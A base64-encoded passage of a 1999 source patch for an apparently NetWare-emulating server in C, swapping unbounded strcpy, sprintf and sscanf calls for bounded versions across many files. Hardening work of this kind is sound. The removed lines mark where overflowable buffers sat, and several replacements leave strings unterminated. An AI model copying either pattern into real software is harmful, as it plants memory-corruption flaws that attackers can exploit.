    X210aW1lLCBzdWJkYXRldGltZSsyLCAxKTsKICAgICAgICAgICByZXR1cm4odHJ1X2dldF9pbmhl
    cml0ZWRfbWFzayh2b2x1bWUsIHVuaXhuYW1lLCAmc3RidWZmKSk7CiAgICAgICAgIH0KLSAgICAg
    ICAgc3RyY3B5KChjaGFyKilkaXJuYW1lLCAoY2hhciopd2lsZCk7CisgICAgICAgIHN0cm5jcHko
    KGNoYXIqKWRpcm5hbWUsIChjaGFyKil3aWxkLCBzaXplb2YoZGlybmFtZSktMSk7CiAgICAgICB9
    IC8qIHdoaWxlICovCiAgICAgfSBlbHNlIHsKICAgICAgICooZGgtPmtwYXRoKSAgID0gJy4nOwog
    ICAgICAgKihkaC0+a3BhdGgrMSkgPSAnXDAnOwogICAgICAgaWYgKCFzX3N0YXQoZGgtPnVuaXhu
    YW1lLCAmc3RidWZmLCBOVUxMKSkgewpAQCAtMjI5NiwxMSArMjI5OCwxMSBAQAogICAgICAgICAg
    ICAgICAgICAgICAgICAmc3RidWZmKTsKIAogICAgICBpZiAoIWNvbXBsZXRpdGlvbikgewogICAg
    ICAgIGNoYXIgdW5peG5hbWVbMzAwXTsKICAgICAgICBOV19TQ0FOX0RJUl9JTkZPICpzY2lmID0g
    KE5XX1NDQU5fRElSX0lORk8qKXJkYXRhOwotICAgICAgIHN0cmNweSh1bml4bmFtZSwgYnVpbGRf
    dW5peF9uYW1lKCZud3BhdGgsIDApKTsKKyAgICAgICBzdHJuY3B5KHVuaXhuYW1lLCBidWlsZF91
    bml4X25hbWUoJm53cGF0aCwgMCksIHNpemVvZih1bml4bmFtZSktMSk7CiAgICAgICAgbWVtc2V0
    KHJkYXRhLCAwLCBzaXplb2YoTldfU0NBTl9ESVJfSU5GTykpOwogICAgICAgIFUzMl9UT19CRTMy
    KCh1aW50MzIpc2VhcmNoc2VxdWVuY2UsIHNjaWYtPnNlYXJjaHNlcXVlbmNlKTsKIAogICAgICAg
    IFhEUFJJTlRGKCg1LDAsICJud19zY2FuX2FfZGlyZWN0b3J5ID0gJXMsIHVpZD0lZCwgZ2lkPSVk
    IiwKICAgICAgICAgIGNvbm5fZ2V0X253cGF0aF9uYW1lKCZud3BhdGgpLApAQCAtMjMyOCwxMSAr
    MjMzMCwxMSBAQAogICBpbnQgICAgIGNvbXBsZXRpdGlvbiA9IGNvbm5fZ2V0X2twbF9wYXRoKCZu
    d3BhdGgsICZzdGJ1ZmYsIGRpcmhhbmRsZSwgZGF0YSwgMCwgMSk7CiAgIFhEUFJJTlRGKCg1LDAs
    Im53X3NjYW5fYV9yb290X2RpcmVjdG9yeV8yIHBhdGg6JXM6LCBmbjolczosIGNvbXBsZXRpdGlv
    bjoweCV4IiwKICAgICBud3BhdGgucGF0aCwgbndwYXRoLmZuLCBjb21wbGV0aXRpb24pKTsKICAg
    aWYgKGNvbXBsZXRpdGlvbiA+IC0xKSB7CiAgICAgY2hhciB1bml4bmFtZVszMDBdOwotICAgIHN0
    cmNweSh1bml4bmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDIpKTsKKyAgICBzdHJuY3B5
    KHVuaXhuYW1lLCBidWlsZF91bml4X25hbWUoJm53cGF0aCwgMiksIHNpemVvZih1bml4bmFtZSkt
    MSk7CiAgICAgaWYgKCFzX3N0YXQodW5peG5hbWUsICZzdGJ1ZmYsIE5VTEwpKSB7CiAgICAgICBO
    V19ET1NfRElSX0lORk8gICpkPShOV19ET1NfRElSX0lORk8qKXJkYXRhOwogICAgICAgbWVtc2V0
    KHJkYXRhLCAwLCBzaXplb2YoTldfRE9TX0RJUl9JTkZPKSk7CiAgICAgICBnZXRfZG9zX2Rpcl9h
    dHRyaWIoZCwgJnN0YnVmZiwgbndwYXRoLnZvbHVtZSwgbndwYXRoLmZuLCB1bml4bmFtZSk7CiAg
    ICAgICByZXR1cm4oc2l6ZW9mKE5XX0RPU19ESVJfSU5GTykpOwpAQCAtMjM2MCwxMSArMjM2Miwx
    MSBAQAogICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hhdHRyaWIsCiAgICAgICAgICAgICAg
    ICAgICAgICAgICZzdGJ1ZmYpOwogICAgICBpZiAoIWNvbXBsZXRpdGlvbikgewogICAgICAgIGNo
    YXIgdW5peG5hbWVbMzAwXTsKICAgICAgICB1aW50MzIgY2hhbmdlX21hc2s9R0VUXzMyKGYtPmNo
    YW5nZV9iaXRzKTsKLSAgICAgICBzdHJjcHkodW5peG5hbWUsYnVpbGRfdW5peF9uYW1lKCZud3Bh
    dGgsIDApKTsKKyAgICAgICBzdHJuY3B5KHVuaXhuYW1lLGJ1aWxkX3VuaXhfbmFtZSgmbndwYXRo
    LCAwKSwgc2l6ZW9mKHVuaXhuYW1lKS0xKTsKICAgICAgICBpZiAoY2hhbmdlX21hc2sgJiAweDIp
    IHsKICAgICAgICAgIGNvbXBsZXRpdGlvbj1zZXRfbndfYXR0cmliX2R3b3JkKG53cGF0aC52b2x1
    bWUsIHVuaXhuYW1lLCAmc3RidWZmLCAKICAgICAgICAgICAgIEdFVF8zMihmLT51LmYuYXR0cmli
    dXRlcykpOwogICAgICAgIH0KICAgICAgICBpZiAoU19JU0RJUihzdGJ1ZmYuc3RfbW9kZSkpIHsK
    QEAgLTI0NzksMTEgKzI0ODEsMTEgQEAKICAgY2hhciAgICAgICAgICB1bm5hbWVbMjU2XTsKICAg
    c3RydWN0IHN0YXQgICBzdGJ1ZmY7CiAgIE5XX1BBVEggICAgICAgbndwYXRoOwogICBpbnQgcmVz
    dWx0ID0gY29ubl9nZXRfa3BsX3BhdGgoJm53cGF0aCwgJnN0YnVmZiwgZGlyX2hhbmRsZSwgZGF0
    YSwgbGVuLCAwKTsKICAgaWYgKHJlc3VsdCA8IDApIHJldHVybihyZXN1bHQpOwotICBzdHJjcHko
    dW5uYW1lLCBidWlsZF91bml4X25hbWUoJm53cGF0aCwgMCkpOworICBzdHJuY3B5KHVubmFtZSwg
    YnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDApLCBzaXplb2YodW5uYW1lKS0xKTsKICAgaWYgKHNf
    c3RhdCh1bm5hbWUsICZzdGJ1ZmYsIE5VTEwpIHx8CiAgICAgKCFleHRlbmRlZCAmJiAhU19JU0RJ
    UihzdGJ1ZmYuc3RfbW9kZSkpICkgewogICAgIHJlc3VsdCA9IC0weDljOwogICB9IGVsc2Ugewog
    ICAgIE5XX09JQyBud29pYzsKQEAgLTI1MDMsMTEgKzI1MDUsMTEgQEAKICAgY2hhciAgICAgICAg
    ICB1bm5hbWVbMjU2XTsKICAgc3RydWN0IHN0YXQgICBzdGJ1ZmY7CiAgIE5XX1BBVEggICAgICAg
    bndwYXRoOwogICBpbnQgcmVzdWx0ID0gY29ubl9nZXRfa3BsX3BhdGgoJm53cGF0aCwgJnN0YnVm
    ZiwgZGlyX2hhbmRsZSwgZGF0YSwgbGVuLCAwKTsKICAgaWYgKHJlc3VsdCA8IDApIHJldHVybihy
    ZXN1bHQpOwotICBzdHJjcHkodW5uYW1lLCBidWlsZF91bml4X25hbWUoJm53cGF0aCwgMCkpOwor
    ICBzdHJuY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDApLCBzaXplb2YodW5u
    YW1lKS0xKTsKICAgaWYgKHNfc3RhdCh1bm5hbWUsICZzdGJ1ZmYsIE5VTEwpIHx8CiAgICAgKCFl
    eHRlbmRlZCAmJiAhU19JU0RJUihzdGJ1ZmYuc3RfbW9kZSkpICkgewogICAgIHJlc3VsdCA9IC0w
    eDljOwogICB9IGVsc2UgewogICAgIHJlc3VsdD10cnVfZGVsX3RydXN0ZWUobndwYXRoLnZvbHVt
    ZSwgdW5uYW1lLCAmc3RidWZmLCBpZCk7CkBAIC0yNTIyLDExICsyNTI0LDExIEBACiAgIGNoYXIg
    ICAgICAgICAgdW5uYW1lWzI1Nl07CiAgIHN0cnVjdCBzdGF0ICAgc3RidWZmOwogICBOV19QQVRI
    ICAgICAgIG53cGF0aDsKICAgaW50IHJlc3VsdCA9IGNvbm5fZ2V0X2twbF9wYXRoKCZud3BhdGgs
    ICZzdGJ1ZmYsIGRpcl9oYW5kbGUsIGRhdGEsIGxlbiwwKTsKICAgaWYgKHJlc3VsdCA8IDApIHJl
    dHVybihyZXN1bHQpOwotICBzdHJjcHkodW5uYW1lLCBidWlsZF91bml4X25hbWUoJm53cGF0aCwg
    MCkpOworICBzdHJuY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDApLCBzaXpl
    b2YodW5uYW1lKS0xKTsKICAgaWYgKHNfc3RhdCh1bm5hbWUsICZzdGJ1ZmYsIE5VTEwpIHx8ICFT
    X0lTRElSKHN0YnVmZi5zdF9tb2RlKSkgewogICAgIHJlc3VsdCA9IC0weDljOwogICB9IGVsc2Ug
    ewogICAgIHJlc3VsdD1ud191dGltZV9ub2RlKG53cGF0aC52b2x1bWUsIHVubmFtZSwgJnN0YnVm
    ZiwKICAgICAgICAgICAgICAgICAgICAgIG53XzJfdW5fdGltZShjcmVhdGlvbmRhdGUsIGNyZWF0
    aW9udGltZSkpOwpAQCAtMjU2NCwxMSArMjU2NiwxMSBAQAogICBzdHJ1Y3Qgc3RhdCAgIHN0YnVm
    ZjsKICAgTldfUEFUSCAgICAgICBud3BhdGg7CiAgIGludCByZXN1bHQgPSBjb25uX2dldF9rcGxf
    cGF0aCgmbndwYXRoLCAmc3RidWZmLCBkaXJfaGFuZGxlLCBwYXRoLCBsZW4sCiAgICAgICAgICAg
    ICAgICAgICAgICAoZXh0ZW5kZWQpID8gMCA6IDEpOwogICBpZiAocmVzdWx0IDwgMCkgcmV0dXJu
    KHJlc3VsdCk7Ci0gIHN0cmNweSh1bm5hbWUsIGJ1aWxkX3VuaXhfbmFtZSgmbndwYXRoLCAwKSk7
    CisgIHN0cm5jcHkodW5uYW1lLCBidWlsZF91bml4X25hbWUoJm53cGF0aCwgMCksIHNpemVvZih1
    bm5hbWUpLTEpOwogICBpZiAoc19zdGF0KHVubmFtZSwgJnN0YnVmZiwgTlVMTCkgfHwKICAgICAo
    IWV4dGVuZGVkICYmICFTX0lTRElSKHN0YnVmZi5zdF9tb2RlKSkgKSB7CiAgICAgcmVzdWx0ID0g
    LTB4OWM7CiAgIH0gZWxzZSB7CiAgICAgcmVzdWx0PXRydV9nZXRfdHJ1c3RlZV9zZXQobndwYXRo
    LnZvbHVtZSwgdW5uYW1lLAotLS0gY29ubmVjdC5oLm9yaWcJTW9uIEF1ZyAzMCAxMzowMzozOCAx
    OTk5CisrKyBjb25uZWN0LmgJTW9uIEF1ZyAzMCAxMzowMzo1NyAxOTk5CkBAIC0yMDcsMTEgKzIw
    NywxMSBAQAogZXh0ZXJuIGludCAgICAgYWN0X29ial9pZDsgICAvKiBub3QgbG9naW4gPT0gMCAg
    ICAgICAgICAgICAqLwogZXh0ZXJuIGludCAgICAgYWN0X2lkX2ZsYWdzOyAvKiAmMSA9PSBzdXBl
    cnZpc29yIGVxdWl2YWxlbmNlICEhISAqLwogZXh0ZXJuIGludCAgICAgZW50cnk4X2ZsYWdzOyAv
    KiBzcGVjaWFsIGZsYWdzLCBzZWUgZXhhbXBsZXMgbncuaW5pLCBlbnRyeSA4ICovCiAKIGV4dGVy
    biBpbnQgY29ubl9nZXRfZnVsbF9wYXRoKGludCBkaXJoYW5kbGUsIHVpbnQ4ICpkYXRhLCBpbnQg
    bGVuLAotICAgICAgICAgICAgICAgICAgICAgICAgICB1aW50OCAqZnVsbHBhdGgpOworICAgICAg
    ICAgICAgICAgICAgICAgICAgICB1aW50OCAqZnVsbHBhdGgsIGludCBsZW5uKTsKIAogZXh0ZXJu
    IGludCBjb25uX2dldF9rcGxfdW54bmFtZShjaGFyICp1bml4bmFtZSwKICAgICAgICAgICAgICAg
    ICAgICAgICAgICBpbnQgZGlyaGFuZGxlLAogICAgICAgICAgICAgICAgICAgICAgICAgIHVpbnQ4
    ICpkYXRhLCBpbnQgbGVuKTsKIAotLS0gbmFtZW9zMi5jLm9yaWcJTW9uIEF1ZyAzMCAxMjo0OTo0
    NyAxOTk5CisrKyBuYW1lb3MyLmMJTW9uIEF1ZyAzMCAxMjo0OTo0OSAxOTk5CkBAIC0xMTQsMTEg
    KzExNCwxMSBAQAogICAgIC0tcDsgIC8qIHRvIGdldCBsYXN0ICcvJyAqLwogICByZXR1cm4oZ2V0
    X21hdGNoKHVuaXhuYW1lLCBwKSk7CiB9CiAjZW5kaWYKIAotdm9pZCBtYW5nbGVfb3MyX25hbWUo
    TldfVk9MICp2b2wsIHVpbnQ4ICp1bml4bmFtZSwgdWludDggKnBwKQordm9pZCBtYW5nbGVfb3My
    X25hbWUoTldfVk9MICp2b2wsIHVpbnQ4ICp1bml4bmFtZSwgdWludDggKnBwLCBpbnQgbGVuKQog
    ewogI2lmIE1BWF9OQU1FX09TMl9DQUNIRQogICBpbnQgICAgIGsgICAgICAgICAgID0gLTE7CiAg
    IGludCAgICAgYmVzdGhpdCAgICAgPSAtMTsKICAgaW50ICAgICBtYXhoaXRzICAgICA9ICAwOwpA
    QCAtMTQ3LDExICsxNDcsMTEgQEAKICAgICAgIH0KICAgICAgIGItPmNhY2hlWzBdID0gTlVMTDsK
    ICAgICAgIG5ld19zdHIoYi0+Y2FjaGVbMF0sIHBwKTsKICAgICB9CiAgIH0gZWxzZSB7Ci0gICAg
    c3RyY3B5KHBwLCBiLT5jYWNoZVtiZXN0aGl0XSk7CisgICAgc3RybmNweShwcCwgYi0+Y2FjaGVb
    YmVzdGhpdF0sIGxlbi0xKTsKICAgICBpZiAoYmVzdGhpdCA+IDIpIHsKICAgICAgIHVpbnQ4ICpz
    cD1iLT5jYWNoZVtiZXN0aGl0XTsKICAgICAgIHdoaWxlIChiZXN0aGl0LS0pIHsKICAgICAgICAg
    Yi0+Y2FjaGVbYmVzdGhpdCsxXSA9IGItPmNhY2hlW2Jlc3RoaXRdOwogICAgICAgfQotLS0gbmFt
    c3BhY2UuYy5vcmlnCU1vbiBBdWcgMzAgMTI6NTE6MTcgMTk5OQorKysgbmFtc3BhY2UuYwlNb24g
    QXVnIDMwIDEyOjUxOjE5IDE5OTkKQEAgLTYxNSwxMSArNjE1LDExIEBACiAgICAgICAgIHN0cmNw
    eSh1bml4bmFtZSt2LT51bml4bmFtbGVuLCBud3BhdGgtPnBhdGgpOwogICAgICAgICBwcD11bml4
    bmFtZSt2LT51bml4bmFtbGVuOwogICAgICAgICBpZiAobndwYXRoLT5uYW1lc3BhY2UgPT0gTkFN
    RV9PUzIpIHsKICAgICAgICAgICBkb3MydW5peGNoYXJzZXQocHApOwogICAgICAgICAgIHBwKz1u
    cGJlZzsKLSAgICAgICAgICBtYW5nbGVfb3MyX25hbWUodiwgdW5peG5hbWUsIHBwKTsKKyAgICAg
    ICAgICBtYW5nbGVfb3MyX25hbWUodiwgdW5peG5hbWUsIHBwLCBzaXplb2YodW5peG5hbWUpLXYt
    PnVuaXhuYW1sZW4tbnBiZWcpOwogICAgICAgICAgIGlmIChucGxlbiA+IDApIHsKICAgICAgICAg
    ICAgIHVuaXgyZG9zY2hhcnNldChwcCk7CiAgICAgICAgICAgICBtZW1jcHkobndwYXRoLT5wYXRo
    K25wYmVnLCBwcCwgbnBsZW4pOwogICAgICAgICAgIH0KICAgICAgICAgICBYRFBSSU5URigoNSww
    LCAiTWFuZ2xlIE9TLzIgdW5peG5hbWU9JyVzJyIsIHVuaXhuYW1lKSk7Ci0tLSBud2F0dHJpYi5j
    Lm9yaWcJTW9uIEF1ZyAzMCAxMjo1Mzo0NCAxOTk5CisrKyBud2F0dHJpYi5jCU1vbiBBdWcgMzAg
    MTI6NTM6NTQgMTk5OQpAQCAtMzEsMTEgKzMxLDExIEBACiAgIGNoYXIgICBidWZbMjU1XTsKICAg
    Y2hhciAgIGJhdHRyaWJbMjU1XTsKICAgaW50ICAgIGw7CiAgIHVpbnQ4ICBidWZfdWNbNF07CiAg
    IFUzMl9UT19CRTMyKGlub2RlLCBidWZfdWMpOwotICBsPXNwcmludGYoYnVmLCAiJXMvJXgvJXgv
    JXgvJXgiLCBwYXRoX2F0dHJpYnV0ZXMsCisgIGw9c25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwg
    IiVzLyV4LyV4LyV4LyV4IiwgcGF0aF9hdHRyaWJ1dGVzLAogICAgICAgICAgICAgZGV2LAogICAg
    ICAgICAgICAgKGludCkgYnVmX3VjWzBdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzFdLAog
    ICAgICAgICAgICAgKGludCkgYnVmX3VjWzJdKTsKICAgc2V0ZXVpZCgwKTsKQEAgLTUwLDExICs1
    MCwxMSBAQAogc3RhdGljIHZvaWQgZnJlZV9hdHRyX2Zyb21fZGlzayhpbnQgZGV2LCBpbm9fdCBp
    bm9kZSkKIHsKICAgY2hhciAgIGJ1ZlsyNTVdOwogICB1aW50OCAgYnVmX3VjWzRdOwogICBVMzJf
    VE9fQkUzMihpbm9kZSwgYnVmX3VjKTsKLSAgc3ByaW50ZihidWYsICIlcy8leC8leC8leC8leC8l
    eCIsIHBhdGhfYXR0cmlidXRlcywKKyAgc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwgIiVzLyV4
    LyV4LyV4LyV4LyV4IiwgcGF0aF9hdHRyaWJ1dGVzLAogICAgICAgICAgICAgZGV2LAogICAgICAg
    ICAgICAgKGludCkgYnVmX3VjWzBdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzFdLAogICAg
    ICAgICAgICAgKGludCkgYnVmX3VjWzJdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzNdKTsK
    QEAgLTY5LDExICs2OSwxMSBAQAogICBjaGFyICAgYnVmWzI1NV07CiAgIGNoYXIgICBiYXR0cmli
    WzI1NV07CiAgIGludCAgICBsOwogICB1aW50OCAgYnVmX3VjWzRdOwogICBVMzJfVE9fQkUzMihp
    bm9kZSwgYnVmX3VjKTsKLSAgc3ByaW50ZihidWYsICIlcy8leC8leC8leC8leC8leCIsIHBhdGhf
    YXR0cmlidXRlcywKKyAgc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwgIiVzLyV4LyV4LyV4LyV4
    LyV4IiwgcGF0aF9hdHRyaWJ1dGVzLAogICAgICAgICAgICAgZGV2LAogICAgICAgICAgICAgKGlu
    dCkgYnVmX3VjWzBdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzFdLAogICAgICAgICAgICAg
    KGludCkgYnVmX3VjWzJdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzNdKTsKLS0tIG53Ymlu
    ZC5jLm9yaWcJTW9uIEF1ZyAzMCAxMjo1NTozMiAxOTk5CisrKyBud2JpbmQuYwlNb24gQXVnIDMw
    IDEyOjU1OjM0IDE5OTkKQEAgLTQxNCwxMSArNDE0LDExIEBACiAgICAgICAgICAgICAgICAgICAg
    ICAgIHVpbnQ4IGludGVybmV0X2JyaWRnZV92ZXJzaW9uOyAgLyogMSAqLwogICAgICAgICAgICAg
    ICAgICAgICAgICB1aW50OCByZXNlcnZlZFs2MF07CiAgICAgICAgICAgICAgICAgICAgICB9ICp4
    ZGF0YSA9IChzdHJ1Y3QgWERBVEEqKSByZXNwb25zZWRhdGE7CiAgICAgICAgICAgICAgICAgICAg
    ICBpbnQgaywgaSwgaDsKICAgICAgICAgICAgICAgICAgICAgIG1lbXNldCh4ZGF0YSwgMCwgc2l6
    ZW9mKHN0cnVjdCBYREFUQSkpOwotICAgICAgICAgICAgICAgICAgICAgc3RyY3B5KHhkYXRhLT5z
    ZXJ2ZXJuYW1lLCBteV9ud25hbWUpOworICAgICAgICAgICAgICAgICAgICAgc3RybmNweSh4ZGF0
    YS0+c2VydmVybmFtZSwgbXlfbnduYW1lLCBzaXplb2YoeGRhdGEtPnNlcnZlcm5hbWUpLTEpOwog
    ICAgICAgICAgICAgICAgICAgICAgaWYgKCF0ZWxsc19zZXJ2ZXJfdmVyc2lvbikgewogICAgICAg
    ICAgICAgICAgICAgICAgICB4ZGF0YS0+dmVyc2lvbiAgICA9ICAyOwogICAgICAgICAgICAgICAg
    ICAgICAgICB4ZGF0YS0+c3VidmVyc2lvbiA9IDE1OwogICAgICAgICAgICAgICAgICAgICAgfSBl
    bHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgeGRhdGEtPnZlcnNpb24gICAgPSAgMzsKLS0t
    IG53Y29ubi5jLm9yaWcJTW9uIEF1ZyAzMCAxMzowNDowOCAxOTk5CisrKyBud2Nvbm4uYwlNb24g
    QXVnIDMwIDEzOjA0OjM1IDE5OTkKQEAgLTEwODcsMTEgKzEwODcsMTEgQEAKICAgICAgICAgICAg
    ICAgIHVpbnQ4ICpkaXJoYW5kbGUgID0gcmRhdGErMytxX25hbWVfbGVuOwogICAgICAgICAgICAg
    ICAgaW50IHBhdGhsZW4gICAgICAgPSAqKHJkYXRhKzMrcV9uYW1lX2xlbisxKTsKICAgICAgICAg
    ICAgICAgIHVpbnQ4ICAqcGF0aCAgICAgID0gcmRhdGErMytxX25hbWVfbGVuKzI7CiAgICAgICAg
    ICAgICAgICB1aW50OCAgbmV3X3BhdGhbMjU3XTsKICAgICAgICAgICAgICAgIGludCByZXN1bHQg
    ICAgICAgID0gY29ubl9nZXRfZnVsbF9wYXRoKCpkaXJoYW5kbGUsCi0gICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICBwYXRoLCBwYXRobGVuLCBuZXdfcGF0aCk7CisgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICBwYXRoLCBwYXRobGVuLCBuZXdfcGF0aCwgc2l6ZW9m
    KG5ld19wYXRoKSk7CiAgICAgICAgICAgICAgICBpZiAocmVzdWx0ID4gLTEpIHsKICAgICAgICAg
    ICAgICAgICAgaW50IGRpZmZzaXplID0gcmVzdWx0IC0gcGF0aGxlbjsKICAgICAgICAgICAgICAg
    ICAgKmRpcmhhbmRsZSAgID0gMDsKICAgICAgICAgICAgICAgICAgbWVtY3B5KHBhdGgsIG5ld19w
    YXRoLCByZXN1bHQpOwogICAgICAgICAgICAgICAgICBpZiAoZGlmZnNpemUpCi0tLSBud2RibS5j
    Lm9yaWcJTW9uIEF1ZyAzMCAxMzoyNzozNSAxOTk5CisrKyBud2RibS5jCU1vbiBBdWcgMzAgMTM6
    MjY6MDcgMTk5OQpAQCAtMjM2MCwxMSArMjM2MCwxMSBAQAogICAgICAgICAgICAgaWYgKHN0YXRl
    ICYgMSl7CiAgICAgICAgICAgICAgIGlmIChzdGF0ZSA9PSAxKSB7CiAgICAgICAgICAgICAgICAg
    cHA9ZGlyZWN0b3J5OwogICAgICAgICAgICAgICAgIHN0YXRlKys7CiAgICAgICAgICAgICAgIH0g
    ZWxzZSBpZiAoc3RhdGU9PTMpIHsKLSAgICAgICAgICAgICAgICBzdHJjcHkoY29tbWFuZCwgcC0x
    KTsKKyAgICAgICAgICAgICAgICBzdHJuY3B5KGNvbW1hbmQsIHAtMSwgc2l6ZW9mKGNvbW1hbmQp
    LTEpOwogICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICB9CiAgICAgICAgICAg
    ICB9CiAgICAgICAgICAgICAqcHArKyA9IGM7CiAgICAgICAgICAgfQotLS0gbndmaWxlLmMub3Jp
    ZwlNb24gQXVnIDMwIDEzOjI4OjU4IDE5OTkKKysrIG53ZmlsZS5jCU1vbiBBdWcgMzAgMTM6Mjk6
    MzcgMTk5OQpAQCAtOTcsMTEgKzk3LDExIEBACiAgIGZoLT50bW9kaSAgID0gMEw7CiAgIGZoLT5t
    b2RpZmllZCA9IDA7CiAgIGZoLT5zdF9pbm8gID0gMDsKICAgZmgtPmFjY2VzcyAgPSAwOwogICBm
    aC0+aW51c2UgICA9IDA7Ci0gIHN0cmNweSgoY2hhciopZmgtPmZuYW1lLCAoY2hhciopdW5peG5h
    bWUpOworICBzdHJuY3B5KChjaGFyKilmaC0+Zm5hbWUsIChjaGFyKil1bml4bmFtZSwgc2l6ZW9m
    KGZoLT5mbmFtZSktMSk7CiAgIGZoLT5maF9mbGFncyAgID0gMDsKICAgZmgtPmYgICAgICAgPSBO
    VUxMOwogICBmaC0+dm9sdW1lICA9IHZvbHVtZTsKICAgWERQUklOVEYoKDUsIDAsICJuZXdfZmls
    ZV9oYW5kbGU9JWQsIGNvdW50X2ZoYW5kbGVzPSVkLCBmbj0lcyIsCiAgICAgICAgZmhhbmRsZSwg
    Y291bnRfZmhhbmRsZXMsIHVuaXhuYW1lKSk7CkBAIC02NzgsMTEgKzY3OCwxMSBAQAogCiBzdGF0
    aWMgdm9pZCBvcGVuX3BpcGVfY29tbWFuZChGSUxFX0hBTkRMRSAqZmgsIGludCBkb3dyaXRlKQog
    ewogICBpZiAoTlVMTCA9PSBmaC0+ZikgewogICAgIGNoYXIgcGlwZWNvbW1hbmRbNTEyXTsKLSAg
    ICBzcHJpbnRmKHBpcGVjb21tYW5kLCAiJXMgJXMgJWQgJWQiLAorICAgIHNucHJpbnRmKHBpcGVj
    b21tYW5kLCBzaXplb2YocGlwZWNvbW1hbmQpLCAiJXMgJXMgJWQgJWQiLAogICAgICAgICAgICAg
    ICAgICAgICAgICAgZmgtPmZuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgZG93cml0ZSA/
    ICJXUklURSIgOiAiUkVBRCIsCiAgICAgICAgICAgICAgICAgICAgICAgICBhY3RfY29ubmVjdGlv
    biwgYWN0X3BpZCk7CiAgICAgZmgtPmYgID0gZXh0X3BvcGVuKHBpcGVjb21tYW5kLCBnZXRldWlk
    KCksIGdldGVnaWQoKSwgMCk7CiAgIH0KLS0tIG53cWNvbm4uYy5vcmlnCU1vbiBBdWcgMzAgMTM6
    MzA6NDIgMTk5OQorKysgbndxY29ubi5jCU1vbiBBdWcgMzAgMTM6MzA6NDQgMTk5OQpAQCAtMjEw
    LDExICsyMTAsMTEgQEAKICAgICAgICAgY2hhciBidWZmWzEwMjRdOwogICAgICAgICBjaGFyIHBy
    aW50Y29tbWFuZFszMDBdOwogICAgICAgICBGSUxFICpmPU5VTEw7CiAgICAgICAgIGlmIChwcmNf
    bGVuICYmICoocHJjK3ByY19sZW4tMSk9PSchJyl7CiAgICAgICAgICAgc3RybWF4Y3B5KCh1aW50
    OCopYnVmZiwgcHJjLCBwcmNfbGVuLTEpOwotICAgICAgICAgIHNwcmludGYocHJpbnRjb21tYW5k
    LCAiJXMgJXMgJXMiLCBidWZmLAorICAgICAgICAgIHNucHJpbnRmKHByaW50Y29tbWFuZCwgc2l6
    ZW9mKHByaW50Y29tbWFuZCksICIlcyAlcyAlcyIsIGJ1ZmYsCiAgICAgICAgICAgICAgcXBhLmJh
    bm5lcl91c2VyX25hbWUsIHFwYS5iYW5uZXJfZmlsZV9uYW1lKTsKICAgICAgICAgfSBlbHNlCiAg
    ICAgICAgICAgc3RybWF4Y3B5KCh1aW50OCopcHJpbnRjb21tYW5kLCBwcmMsIHByY19sZW4pOwog
    ICAgICAgICBud19jbG9zZV9maWxlKGpvLT5maGFuZGxlLCAxLCBqby0+dGFzayk7CiAgICAgICAg
    IGpvLT5maGFuZGxlID0gMEw7Ci0tLSBud3NlcnYuYy5vcmlnCU1vbiBBdWcgMzAgMTM6MzQ6MDQg
    MTk5OQorKysgbndzZXJ2LmMJTW9uIEF1ZyAzMCAxNDoxMDozNCAxOTk5CkBAIC04NDksMTEgKzg0
    OSwxMSBAQAogICAgICAgY2hhciBpbmhhbHQyWzUwMF07CiAgICAgICBjaGFyIGluaGFsdDNbNTAw
    XTsKICAgICAgIGNoYXIgaW5oYWx0NFs1MDBdOwogICAgICAgY2hhciBkdW1teTsKICAgICAgIGlu
    dCAgYW56OwotICAgICAgaWYgKChhbno9c3NjYW5mKChjaGFyKilidWZmLCAiJXMgJXMgJXMgJXMi
    LCBpbmhhbHQsIGluaGFsdDIsCisgICAgICBpZiAoKGFuej1zc2NhbmYoKGNoYXIqKWJ1ZmYsICIl
    NTAwcyAlNTAwcyAlNTAwcyAlNTAwcyIsIGluaGFsdCwgaW5oYWx0MiwKICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluaGFsdDMsIGluaGFsdDQpKSA+ICAw
    KSB7CiAgICAgICAgICBzd2l0Y2ggKHdoYXQpIHsKICAgICAgICAgICAgY2FzZSAyIDogaWYgKGZ1
    bGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RybmNweShteV9ud25hbWUsIGluaGFsdCwg
    NDgpOwogICAgICAgICAgICAgICAgICAgICAgICBteV9ud25hbWVbNDddID0gJ1wwJzsKQEAgLTEy
    ODUsMTEgKzEyODUsMTEgQEAKICAgICAgICAgICAgICAgICAgfHwgKCphID09ICdkJyAmJiBhcmdj
    IC0gaiA9PSAzKSApIHsKICAgICAgICAgICAgICAgaW50ICAgIHJlc3VsdDsKICAgICAgICAgICAg
    ICAgaW50ICAgIGZyYW1lPS0xOwogICAgICAgICAgICAgICB1aW50MzIgbmV0bnVtPTBMOwogICAg
    ICAgICAgICAgICBjaGFyIGJ1ZlsyNTZdOwotICAgICAgICAgICAgICBzdHJjcHkoYnVmLCBhcmd2
    W2orMl0pOworICAgICAgICAgICAgICBzdHJuY3B5KGJ1ZiwgYXJndltqKzJdLCBzaXplb2YoYnVm
    KS0xKTsKICAgICAgICAgICAgICAgdXBzdHIoYnVmKTsKICAgICAgICAgICAgICAgaWYgKCFzdHJj
    bXAoYnVmLCAiODAyLjMiKSkKICAgICAgICAgICAgICAgICBmcmFtZT1JUFhfRlJBTUVfODAyMzsK
